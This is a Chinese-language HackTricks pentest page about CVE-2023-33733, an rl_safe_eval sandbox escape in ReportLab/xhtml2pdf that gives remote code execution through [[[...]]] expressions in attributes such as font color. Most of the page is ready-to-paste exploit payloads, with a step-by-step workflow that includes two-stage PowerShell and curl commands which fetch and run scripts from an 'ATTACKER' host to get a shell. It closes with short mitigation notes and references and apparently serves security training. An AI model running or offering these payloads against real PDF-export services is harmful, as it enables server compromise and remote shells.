hacktricks/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md

80 lines
6.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# ReportLab/xhtml2pdf [[[...]]] 表达式求值 RCE (CVE-2023-33733)
{{#include ../../../banners/hacktricks-training.md}}
本页记录了一个在 ReportLab 的 rl_safe_eval 中的实用沙箱逃逸和 RCE 原语,该函数被 xhtml2pdf 及其他将用户可控 HTML 渲染为 PDF 的流水线所使用。
CVE-2023-33733 影响 ReportLab 直到并包括 3.6.12 的版本。在某些属性上下文(例如 color包裹在三重方括号 [[[ ... ]]] 的值会被 rl_safe_eval 在服务器端求值。通过构造一个从被列入白名单的 builtinpow枢纽到其 Python 函数 globals 的有效负载,攻击者可以到达 os 模块并执行命令。
关键点
- 触发:向由 ReportLab/xhtml2pdf 解析的标记中被求值的属性(例如 <font color="...">)注入 [[[ ... ]]]。
- 沙箱rl_safe_eval 会替换危险的 builtins但已求值的函数仍然暴露 __globals__
- 绕过:构造一个瞬态类 Word 来绕过 rl_safe_eval 的名称检查并访问字符串 "__globals__",同时避免被阻止的 dunder 过滤。
- RCEgetattr(pow, Word("__globals__"))["os"].system("<cmd>")
- 稳定性:执行后为属性返回一个有效值(对于 color使用 and 'red')。
测试时机
- 暴露 HTML-to-PDF 导出(用户资料、发票、报告)并在 PDF 元数据或 HTTP 响应注释中显示 xhtml2pdf/ReportLab 的应用。
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
- PDF 的 HTTP 响应通常以 ReportLab 的 generator 注释开头
沙箱绕过工作原理
- rl_safe_eval 删除或替换了许多 builtingetattr, type, pow, ...)并对名称应用过滤以拒绝以 __ 开头或在 denylist 中的属性。
- 然而,安全函数存在于可被访问的 func.__globals__ 的 globals 字典中。
- 使用 type(type(1)) 恢复真实的内建 type 函数(绕过 ReportLab 的包装),然后定义一个从 str 派生的 Word 类并修改比较行为,使得:
- .startswith('__') → 始终 False绕过 name startswith('__') 检查)
- .__eq__ 在第一次比较时返回 False绕过 denylist 成员检查),之后返回 True使 Python getattr 工作)
- .__hash__ 等于 hash(str(self))
- 这样getattr(pow, Word('__globals__')) 返回被包装的 pow 函数的 globals 字典,其中包含导入的 os 模块。然后:['os'].system('<cmd>')。
最小利用模式(属性示例)
将有效负载放在被求值的属性中,并确保通过布尔与 'red' 返回一个有效的属性值。
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
- 列表推导式形式允许单一表达式被 rl_safe_eval 接受。
- 尾部的 and 'red' 返回一个有效的 CSS 颜色,使渲染不出错。
- 根据需要替换命令;使用 ping 并配合 tcpdump 验证执行。
操作流程
1) 识别 PDF 生成器
- PDF Producer 显示 xhtml2pdfHTTP 响应包含 ReportLab 注释。
2) 找到被反射到 PDF 的输入(例如资料简介/描述)并触发导出。
3) 使用低噪声 ICMP 验证执行
- 运行sudo tcpdump -ni <iface> icmp
- 有效负载:... system('ping <your_ip>') ...
- Windows 通常默认发送恰好四个 echo 请求。
4) 建立 shell
- 对于 Windows可靠的两阶段方法可以避免引用/编码问题:
- 阶段 1下载
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
- 阶段 2执行
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
- 对于 Linux 目标,可以使用类似的 curl/wget 两阶段:
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
注意事项和提示
- 属性上下文color 是已知的被求值属性ReportLab 标记中的其他属性也可能会求值。如果某个位置被消毒,尝试渲染到 PDF 流中的其他位置(不同字段、表格样式等)。
- 引用:保持命令简洁。两阶段下载大大减少引用和转义的问题。
- 可靠性:如果导出被缓存或排队,稍微改变有效负载(例如随机路径或查询)以避免命中缓存。
缓解与检测
- 升级 ReportLab 至 3.6.13 或更高版本CVE-2023-33733 已修复)。同时关注发行版包的安全公告。
- 不要在未经严格清理的情况下将用户可控的 HTML/标记直接输入到 xhtml2pdf/ReportLab。对于不受信任的输入移除/拒绝 [[[...]]] 求值构造和厂商特定标签。
- 考虑对不受信任输入完全禁用或包装 rl_safe_eval 的使用。
- 在 PDF 生成期间监视可疑的出站连接(例如导出文档时应用服务器发出的 ICMP/HTTP
参考资料
- PoC 与技术分析: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
- 0xdf University HTB write-up真实世界利用Windows 两阶段有效负载):[HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
- NVD 条目(受影响版本):[CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
- xhtml2pdf 文档(标记/页面 概念):[xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
{{#include ../../../banners/hacktricks-training.md}}